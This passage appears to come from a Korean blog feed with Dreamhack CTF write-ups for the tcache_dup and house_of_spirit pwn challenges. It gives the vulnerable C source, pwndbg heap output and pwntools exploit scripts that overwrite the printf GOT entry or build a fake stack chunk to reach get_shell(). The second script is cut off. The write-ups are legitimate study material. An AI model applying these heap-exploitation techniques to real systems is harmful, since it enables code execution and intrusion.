</span></span><span class="line"><span class="cl">                <span class="n">cnt</span><span class="o">++</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">                <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="k">case</span> <span class="mi">2</span><span class="o">:</span>
</span></span><span class="line"><span class="cl">                <span class="nf">delete</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">                <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="k">default</span><span class="o">:</span>
</span></span><span class="line"><span class="cl">                <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>64비트 환경에서 got값을 덮을 예정이기에 1번을 입력해 8바이트 메모리를 할당 받는다. 할당받은 메모리의 포인터는 ptr배열에 저장되어 0번은 우리가 할당받은 8바이트 메모리를 가리킨다. 이후 0번 포인터를 2번 메뉴를 통해 2번 free한다. 이후 tcache 정보를 보면 다음과 같다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="n">pwndbg</span><span class="o">&gt;</span> <span class="n">tcache</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="n">counts</span> <span class="o">=</span> <span class="s">&#34;</span><span class="se">\002</span><span class="s">&#34;</span><span class="p">,</span> <span class="sc">&#39;\000&#39;</span> <span class="o">&lt;</span><span class="n">repeats</span> <span class="mi">62</span> <span class="n">times</span><span class="o">&gt;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="n">entries</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x1114260</span><span class="p">,</span> <span class="mh">0x0</span> <span class="o">&lt;</span><span class="n">repeats</span> <span class="mi">63</span> <span class="n">times</span><span class="o">&gt;</span><span class="p">},</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>tcache_entry에 다음에 할당될 힙 주소인 0x1114260가 있고 이는 2번 free한 주소이다. 이후 1번을 통해서 8바이트를 할당한 후 데이터에 printf got를 넣는다. double free가 일어나 다음에 할당될 주소가 printf got가 들어갈 것이다 pwndbg의 bins 명령을 통해 tcache bins 정보를 불어오면 다음과 같다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="n">pwndbg</span><span class="o">&gt;</span> <span class="n">bins</span>
</span></span><span class="line"><span class="cl"><span class="n">pwndbg</span> <span class="n">will</span> <span class="n">try</span> <span class="n">to</span> <span class="n">resolve</span> <span class="n">the</span> <span class="n">heap</span> <span class="n">symbols</span> <span class="n">via</span> <span class="n">heuristic</span> <span class="n">now</span> <span class="n">since</span> <span class="n">we</span> <span class="n">cannot</span> <span class="n">resolve</span> <span class="n">the</span> <span class="n">heap</span> <span class="n">via</span> <span class="n">the</span> <span class="n">debug</span> <span class="n">symbols</span><span class="p">.</span>
</span></span><span class="line"><span class="cl"><span class="n">This</span> <span class="n">might</span> <span class="n">not</span> <span class="n">work</span> <span class="n">in</span> <span class="n">all</span> <span class="n">cases</span><span class="p">.</span> <span class="n">Use</span> <span class="err">`</span><span class="n">help</span> <span class="n">set</span> <span class="n">resolve</span><span class="o">-</span><span class="n">heap</span><span class="o">-</span><span class="n">via</span><span class="o">-</span><span class="n">heuristic</span><span class="err">`</span> <span class="k">for</span> <span class="n">more</span> <span class="n">details</span><span class="p">.</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">tcachebins</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x20</span> <span class="p">[</span>  <span class="mi">1</span><span class="p">]</span><span class="o">:</span> <span class="mh">0x13b5260</span> <span class="err">—▸</span> <span class="mh">0x601038</span> <span class="p">(</span><span class="n">printf</span><span class="err">@</span><span class="n">got</span><span class="p">[</span><span class="n">plt</span><span class="p">])</span> <span class="err">◂—</span> <span class="p">...</span>
</span></span><span class="line"><span class="cl"><span class="n">fastbins</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x20</span><span class="o">:</span> <span class="mh">0x0</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x30</span><span class="o">:</span> <span class="mh">0x0</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x40</span><span class="o">:</span> <span class="mh">0x0</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x50</span><span class="o">:</span> <span class="mh">0x0</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x60</span><span class="o">:</span> <span class="mh">0x0</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x70</span><span class="o">:</span> <span class="mh">0x0</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x80</span><span class="o">:</span> <span class="mh">0x0</span>
</span></span><span class="line"><span class="cl"><span class="n">unsortedbin</span>
</span></span><span class="line"><span class="cl"><span class="nl">all</span><span class="p">:</span> <span class="mh">0x0</span>
</span></span><span class="line"><span class="cl"><span class="n">smallbins</span>
</span></span><span class="line"><span class="cl"><span class="n">empty</span>
</span></span><span class="line"><span class="cl"><span class="n">largebins</span>
</span></span><span class="line"><span class="cl"><span class="n">empty</span>
</span></span></code></pre></div><p>프로세스를 끝낸 뒤 다시 실행해 힙 주소는 다르지만 tcache에 예약된 청크를 보면 원래 할당된 메모리 뒤로 printf got가 할당된 것을 볼 수 있다. 따라서 이후 8바이트를 두번 할당 받을 것인데, 첫번째는 0x13b5260 주소의 메모리 위치가, 두번째는 printf got메모리 위치가 할당 될 것이다.</p>
<p>따라서 1번을 통해 8바이트 할당 후 임의 데이터를 입력한 뒤 또 1번을 통해 8바이트를 할당받아 get_shell() 함수 주소를 넣으면 printf got에 get_shell() 함수 주소가 쓰여 printf가 호출될때 쉘을 획득할 수 있다.</p>
<p>익스플로잇 코드는 다음과 같다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
</span></span><span class="line"><span class="cl"><span class="n">context</span><span class="o">.</span><span class="n">update</span><span class="p">(</span><span class="n">arch</span><span class="o">=</span><span class="s1">&#39;amd64&#39;</span><span class="p">,</span> <span class="n">os</span><span class="o">=</span><span class="s1">&#39;linux&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#p = remote(&#34;host3.dreamhack.games&#34;, 20376);</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span> <span class="o">=</span> <span class="n">process</span><span class="p">(</span><span class="s2">&#34;./tcache_dup&#34;</span><span class="p">,</span> <span class="n">env</span><span class="o">=</span><span class="p">{</span><span class="s1">&#39;LD_PRELOAD&#39;</span><span class="p">:</span><span class="s1">&#39;./libc-2.27.so&#39;</span><span class="p">})</span>
</span></span><span class="line"><span class="cl"><span class="c1">#p = process(&#34;./house_of_spirit&#34;)</span>
</span></span><span class="line"><span class="cl"><span class="n">libc</span><span class="o">=</span><span class="n">ELF</span><span class="p">(</span><span class="s1">&#39;./libc-2.27.so&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;&gt; &#34;</span><span class="p">,</span> <span class="sa">b</span><span class="s2">&#34;1&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;Size: &#34;</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="mi">8</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;Data: &#34;</span><span class="p">,</span> <span class="sa">b</span><span class="s2">&#34;A&#34;</span><span class="o">*</span><span class="mi">8</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s2">&#34;&gt; &#34;</span><span class="p">,</span> <span class="sa">b</span><span class="s2">&#34;2&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;idx: &#34;</span><span class="p">,</span> <span class="sa">b</span><span class="s2">&#34;0&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s2">&#34;&gt; &#34;</span><span class="p">,</span> <span class="sa">b</span><span class="s2">&#34;2&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;idx: &#34;</span><span class="p">,</span> <span class="sa">b</span><span class="s2">&#34;0&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;&gt; &#34;</span><span class="p">,</span> <span class="sa">b</span><span class="s2">&#34;1&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;Size: &#34;</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="mi">8</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;Data: &#34;</span><span class="p">,</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x601038</span><span class="p">))</span> <span class="c1">#printf got</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;&gt; &#34;</span><span class="p">,</span> <span class="sa">b</span><span class="s2">&#34;1&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;Size: &#34;</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="mi">8</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;Data: &#34;</span><span class="p">,</span> <span class="sa">b</span><span class="s2">&#34;A&#34;</span><span class="o">*</span><span class="mi">8</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;&gt; &#34;</span><span class="p">,</span> <span class="sa">b</span><span class="s2">&#34;1&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;Size: &#34;</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="mi">8</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;Data: &#34;</span><span class="p">,</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x400ab0</span><span class="p">))</span> <span class="c1">#get_shell()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">interactive</span><span class="p">()</span>
</span></span></code></pre></div>]]></content:encoded></item><item><title>[Dreamhack] PWN house_of_spirit</title><link>https://dig06161.github.io/2023/02/26/dreamhack-pwn-house_of_spirit/</link><pubDate>Sun, 26 Feb 2023 15:00:00 +0900</pubDate><guid>https://dig06161.github.io/2023/02/26/dreamhack-pwn-house_of_spirit/</guid><description>드림핵 포너블 house_of_spirit 문제풀이</description><content:encoded><![CDATA[<p>얼떨결에 도전해본 4단계 문제이다. 취약점 이름은 제목과 같이 house_of_spirit 공격에 관한 내용이다. 문제를 보면 해당 취약점이 어떤 방식으로 터지는지에 대한 설명이 링크로 주어진다. <a href="https://learn.dreamhack.io/16#96">https://learn.dreamhack.io/16#96</a></p>
<p>해당 취약점을 간단히 설명하면, free함수는 할당된 메모리를 해제하는 함수이다. free함수를 통해 해제된 청크는 fastbin의 규칙 때문에 취약점으로 이어질수 있다. 가령 0x30의 메모리를 free하면 해당 청크는 fastbin 규약에 따라 메모리에서 해제된다. 해제된 메모리 정보를 tcache_entry에 저장한다. 이후 다시 0x30의 메모리를 할당 받으면 다른 힙 청크에서 일부를 할당하는 것이 아닌 tcache_entry에 등록되어 있는 동일한 사이즈의 청크를 이용하게 된다. 해당 취약점은 변수의 메모리 주소를 알고있다는 가정 하에 실제 청크의 형식을 변수 메모리에 구성하고 이를 해제 후 제 할당함으로 써 할당한 청크에 값을 쓰면 스택 영역을 덮어 씌울 수 있다.</p>
<p>해당 문제의 소스코드는 다음과 같다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;signal.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;unistd.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;string.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>
</span></span><span class="line"><span class="cl"><span class="kt">char</span> <span class="o">*</span><span class="n">ptr</span><span class="p">[</span><span class="mi">10</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">alarm_handler</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nf">exit</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">initialize</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nf">setvbuf</span><span class="p">(</span><span class="n">stdin</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">_IONBF</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">setvbuf</span><span class="p">(</span><span class="n">stdout</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">_IONBF</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">signal</span><span class="p">(</span><span class="n">SIGALRM</span><span class="p">,</span> <span class="n">alarm_handler</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">alarm</span><span class="p">(</span><span class="mi">60</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">get_shell</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">	<span class="nf">execve</span><span class="p">(</span><span class="s">&#34;/bin/sh&#34;</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">	<span class="kt">char</span> <span class="n">name</span><span class="p">[</span><span class="mi">32</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">	<span class="kt">int</span> <span class="n">idx</span><span class="p">,</span> <span class="n">i</span><span class="p">,</span> <span class="n">size</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="kt">long</span> <span class="n">addr</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="nf">initialize</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">	<span class="nf">memset</span><span class="p">(</span><span class="n">name</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">name</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">	<span class="nf">printf</span><span class="p">(</span><span class="s">&#34;name: &#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">	<span class="nf">read</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">name</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">name</span><span class="p">)</span><span class="o">-</span><span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="nf">printf</span><span class="p">(</span><span class="s">&#34;%p: %s</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">name</span><span class="p">,</span> <span class="n">name</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">	<span class="k">while</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">		<span class="nf">printf</span><span class="p">(</span><span class="s">&#34;1. create</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">		<span class="nf">printf</span><span class="p">(</span><span class="s">&#34;2. delete</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">		<span class="nf">printf</span><span class="p">(</span><span class="s">&#34;3. exit</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">		<span class="nf">printf</span><span class="p">(</span><span class="s">&#34;&gt; &#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">		<span class="nf">scanf</span><span class="p">(</span><span class="s">&#34;%d&#34;</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">idx</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">		<span class="k">switch</span><span class="p">(</span><span class="n">idx</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">			<span class="k">case</span> <span class="mi">1</span><span class="o">:</span>
</span></span><span class="line"><span class="cl">				<span class="k">if</span><span class="p">(</span><span class="n">i</span> <span class="o">&gt;</span> <span class="mi">10</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">					<span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">				<span class="p">}</span>
</span></span><span class="line"><span class="cl">				<span class="nf">printf</span><span class="p">(</span><span class="s">&#34;Size: &#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">				<span class="nf">scanf</span><span class="p">(</span><span class="s">&#34;%d&#34;</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">size</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">				<span class="n">ptr</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="nf">malloc</span><span class="p">(</span><span class="n">size</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">				<span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">ptr</span><span class="p">[</span><span class="n">i</span><span class="p">])</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">					<span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">				<span class="p">}</span>
</span></span><span class="line"><span class="cl">				<span class="nf">printf</span><span class="p">(</span><span class="s">&#34;Data: &#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">				<span class="nf">read</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">ptr</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="n">size</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">				<span class="n">i</span><span class="o">++</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">				<span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">			<span class="k">case</span> <span class="mi">2</span><span class="o">:</span>
</span></span><span class="line"><span class="cl">				<span class="nf">printf</span><span class="p">(</span><span class="s">&#34;Addr: &#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">				<span class="nf">scanf</span><span class="p">(</span><span class="s">&#34;%ld&#34;</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">addr</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">				<span class="nf">free</span><span class="p">(</span><span class="n">addr</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">				<span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">			<span class="k">case</span> <span class="mi">3</span><span class="o">:</span>
</span></span><span class="line"><span class="cl">				<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">			<span class="k">default</span><span class="o">:</span> 
</span></span><span class="line"><span class="cl">				<span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">		<span class="p">}</span>
</span></span><span class="line"><span class="cl">	<span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>바이너리의 진행 구조는 다음과 같다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">이름 입력 -&gt; 이름 메모리 주소 출력 -&gt; 각 매뉴에 따라 1번은 malloc을 통한 메모리 할당 -&gt; 2번을 통해 free를 이용한 메모리 해제 -&gt; 3번을 통해 return을 호출 후 종료
</span></span></code></pre></div><p>이름을 입력한 메모리의 주소를 알수 있다는 것이 매우 유효하다. 이 주소는 스택 영역에 있으며 이를 이용해 가짜 청크를 구성하고 해제한 가짜 청크만큼 다시 할당해 return영역을 덮어쓰면 익스플로잇에 성공할 것 같다.</p>
<p>문제를 풀기전에 청크의 구조를 알아보자.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">     ________________________________
</span></span><span class="line"><span class="cl">    |   prev_size   |      size      |   &lt;- header[prev_size + size의 값이
</span></span><span class="line"><span class="cl">    |--------------------------------|            32비트의 경우 8바이트(4 + 4),
</span></span><span class="line"><span class="cl">    |                                |            64비트의 경우 16바이트(8 + 8)]
</span></span><span class="line"><span class="cl">    |                                |
</span></span><span class="line"><span class="cl">    |              data              |   &lt;- 할당한 데이터 영역의 크기
</span></span><span class="line"><span class="cl">    |                                |
</span></span><span class="line"><span class="cl">    |                                |
</span></span><span class="line"><span class="cl">    |________________________________|
</span></span></code></pre></div><p>위처럼 구조가 나열되어 있으며 64비트 환경에서 0x32크기의 힙을 할당받으면 해더 영역 0x10 과 데이터 영역 0x32가 더해진 0x42가 해더의 size에 쓰인다. prev_size는 이전 청크의 크기 값이다.</p>
<p>이 정보를 바탕으로 name 변수에 가짜 청크를 구성해보자. 헤더 영역만 잘 맞춰주면 free 함수가 청크로 인식해 사이즈 만큼 해제할 수 있을 것이다. prev_size는 0을 8바이트 만큼 넣고 size를 0x50만큼 입력한다. 이후 출력된 메모리 주소를 free 한다. 다만 힙을 한번 할당 해야지 tcache가 생성되므로 임의 크기의 힙을 한번 할당한다. 이후 출력된 메모리 주소 + 0x10의 주소를 free하면 name변수 주소로 청크가 0x50만큼 할당된다. 이후 임의 데이터로 채우고 return 주소가 들어있는 부분에 get_shell() 함수 주소를 넣으면 익스플로잇 할수 있다.</p>
<p>익스플로잇 코드는 다음과 같다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
</span></span><span class="line"><span class="cl"><span class="n">context</span><span class="o">.</span><span class="n">update</span><span class="p">(</span><span class="n">arch</span><span class="o">=</span><span class="s1">&#39;amd64&#39;</span><span class="p">,</span> <span class="n">os</span><span class="o">=</span><span class="s1">&#39;linux&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">p</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s2">&#34;host3.dreamhack.games&#34;</span><span class="p">,</span> <span class="mi">9817</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="c1">#p = process(&#34;./oneshot&#34;, env={&#39;LD_PRELOAD&#39;:&#39;./libc.so.6&#39;})</span>
</span></span><span class="line"><span class="cl"><span class="c1">#p = process(&#34;./house_of_spirit&#34;)</span>
</span></span><span class="line"><span class="cl"><span class="c1">#libc=ELF(&#39;./libc.so.6&#39;)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">data</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="mh">0x50</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">data</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;name: &#34;</span><span class="p">,</span> <span class="n">data</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">leak</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">p</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;:&#34;</span><span class="p">)[:</span><span class="o">-</span><span class="mi">1</span><span class="p">],</span> <span class="mi">16</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;leak data : </span><span class="si">{</span><span class="nb">hex</span><span class="p">(</span><span class="n">leak</span><span class="p">)</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">free_ptr</span> <span class="o">=</span> <span class="n">leak</span><span class="o">+</span><span class="mh">0x10</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;free ptr : </span><span class="si">{</span><span class="nb">hex</span><span class="p">(</span><span class="n">free_ptr</span><span class="p">)</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;&gt; &#34;</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="mi">1</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;Size: &#34;</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="mi">64</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;Data: &#34;</span><span class="p">,</span> <span class="sa">b</span><span class="s2">&#34;A&#34;</span><span class="o">*</span><span class="mi">64</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;&gt; &#34;</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="mi">2</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;Addr: &#34;</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">free_ptr</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">payload</span> <span class="o">=</span> <span class="sa">b</span><span class="s2">&#34;A&#34;</span><span class="o">*</span><span class="mi">40</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="mh">0x400940</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
